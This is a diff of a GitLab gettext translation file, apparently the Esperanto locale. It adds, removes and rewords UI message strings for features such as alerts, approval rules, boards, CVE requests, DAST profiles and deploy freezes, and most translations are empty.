msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "de"
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr "Precize elekti"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Malfari"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Disbranĉigita el"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
